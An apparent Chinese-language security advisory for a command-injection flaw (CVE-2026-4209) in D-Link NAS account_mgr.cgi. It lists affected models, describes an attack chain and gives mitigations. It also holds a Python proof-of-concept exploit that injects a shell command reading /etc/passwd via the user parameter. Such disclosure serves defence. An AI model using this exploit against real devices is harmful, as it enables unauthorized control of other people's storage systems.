IPBUF安全漏洞报告
English
CVE-2026-4209 CVSS 6.3 中危

D-Link多款NAS设备account_mgr.cgi命令注入漏洞(CVE-2026-4209)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4209
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

命令注入CVE-2026-4209D-LinkNAS网络存储CGIaccount_mgr.cgiDNS系列DNR系列远程代码执行

漏洞概述

D-Link多款NAS网络存储设备存在命令注入漏洞。该漏洞影响DNS-120、DNR-202L、DNS-315L、DNS-320、DNS-320L、DNS-320LW、DNS-321、DNR-322L、DNS-323、DNS-325、DNS-326、DNS-327L、DNR-326、DNS-340L、DNS-343、DNS-345、DNS-726-4、DNS-1100-4、DNS-1200-05以及DNS-1550-04等多款产品。漏洞位于设备的/cgi-bin/account_mgr.cgi文件中,由于对用户输入缺乏有效过滤和验证,攻击者可通过构造恶意参数实现命令注入攻击。成功利用此漏洞的攻击者可以在受影响的设备上以Web服务权限执行任意系统命令,从而获取设备完全控制权。考虑到该漏洞的利用复杂度较低且已有公开利用代码,建议相关用户尽快采取防护措施。

技术细节

该命令注入漏洞存在于D-Link NAS设备的account_mgr.cgi CGI程序中。受影响的函数包括cgi_create_import_users、cgi_user_batch_create、cgi_user_set_quota、cgi_user_del、cgi_user_modify、cgi_group_set_quota、cgi_group_modify、cgi_group_add、cgi_user_add、cgi_get_modify_group_info以及cgi_chg_admin_pw等多个用户管理和组管理相关功能。这些函数在处理用户提供的参数时,直接将用户输入拼接到系统命令中执行,而未对特殊字符进行过滤或转义。攻击者可通过在参数中注入分号、管道符等Shell特殊字符,构造恶意命令实现命令注入。由于攻击可通过HTTP请求远程发起,且只需低权限认证即可利用,这大大降低了攻击门槛。攻击成功后,攻击者可以获得设备的命令行访问权限,执行任意系统操作,包括读取敏感配置、植入后门或进一步渗透内网。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标D-Link NAS设备,确认其为DNS-120、DNR-202L、DNS-315L、DNS-320、DNS-320L、DNS-320LW、DNS-321、DNR-322L、DNS-323、DNS-325、DNS-326、DNS-327L、DNR-326、DNS-340L、DNS-343、DNS-345、DNS-726-4、DNS-1100-4、DNS-1200-05或DNS-1550-04等受影响型号
STEP 2
步骤2: 认证访问
攻击者使用低权限账号(如普通用户)登录Web管理界面,获取有效会话Cookie
STEP 3
步骤3: 构造恶意请求
攻击者构造针对/cgi-bin/account_mgr.cgi的HTTP POST请求,在user、group等参数中注入Shell命令(如使用分号、管道符连接恶意命令)
STEP 4
步骤4: 命令注入执行
目标设备将用户输入拼接到系统命令中执行,攻击者注入的恶意命令以Web服务权限在设备上运行
STEP 5
步骤5: 获取控制权限
攻击者成功执行任意系统命令,可读取/etc/passwd等敏感文件、植入后门程序或建立持久化访问
STEP 6
步骤6: 横向移动
攻击者可利用获取的设备权限进一步探测内网环境,对其他系统发起进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-4209 PoC - D-Link account_mgr.cgi Command Injection # Target: D-Link NAS devices (DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04) target_ip = "192.168.1.1" # Target device IP target_port = 80 username = "admin" password = "admin" def exploit_cve_2026_4209(): """ Exploit for CVE-2026-4209: Command Injection in D-Link account_mgr.cgi Affected functions: cgi_create_import_users, cgi_user_batch_create, cgi_user_set_quota, cgi_user_del, cgi_user_modify, cgi_group_set_quota, cgi_group_modify, cgi_group_add, cgi_user_add, cgi_get_modify_group_info, cgi_chg_admin_pw """ # Login to get session login_url = f"http://{target_ip}:{target_port}/cgi-bin/account_mgr.cgi" login_data = { "cmd": "cgi_login", "username": username, "password": password } session = requests.Session() try: # Attempt login response = session.post(login_url, data=login_data, timeout=10) # Inject command via cgi_user_add function # Payload: inject arbitrary command via user parameter inject_data = { "cmd": "cgi_user_add", "user": "testuser; cat /etc/passwd > /tmp/pwned.txt", # Command injection payload "group": " administrators " } exploit_response = session.post(login_url, data=inject_data, timeout=10) print(f"Exploit sent. Status code: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") # Verify exploitation by checking if command was executed verify_url = f"http://{target_ip}:{target_port}/cgi-bin/account_mgr.cgi" verify_data = { "cmd": "cgi_get_modify_group_info", "group": " administrators " } verify_response = session.post(verify_url, data=verify_data, timeout=10) print(f"Verification response: {verify_response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2026-4209 D-Link Command Injection Exploit") print("Target: account_mgr.cgi") exploit_cve_2026_4209()

影响范围

D-Link DNS-120 < 20260205
D-Link DNR-202L < 20260205
D-Link DNS-315L < 20260205
D-Link DNS-320 < 20260205
D-Link DNS-320L < 20260205
D-Link DNS-320LW < 20260205
D-Link DNS-321 < 20260205
D-Link DNR-322L < 20260205
D-Link DNS-323 < 20260205
D-Link DNS-325 < 20260205
D-Link DNS-326 < 20260205
D-Link DNS-327L < 20260205
D-Link DNR-326 < 20260205
D-Link DNS-340L < 20260205
D-Link DNS-343 < 20260205
D-Link DNS-345 < 20260205
D-Link DNS-726-4 < 20260205
D-Link DNS-1100-4 < 20260205
D-Link DNS-1200-05 < 20260205
D-Link DNS-1550-04 < 20260205

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:首先,通过网络访问控制限制对设备Web管理界面的访问,仅允许受信任的管理终端IP访问;其次,禁用设备不必要的远程管理功能,关闭公网访问;第三,监视设备日志,关注异常的账户管理和命令执行活动;第四,考虑在网络层部署IPS/IDS设备检测和阻断针对account_mgr.cgi的恶意请求;最后,如果设备不再使用,建议从网络中移除以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表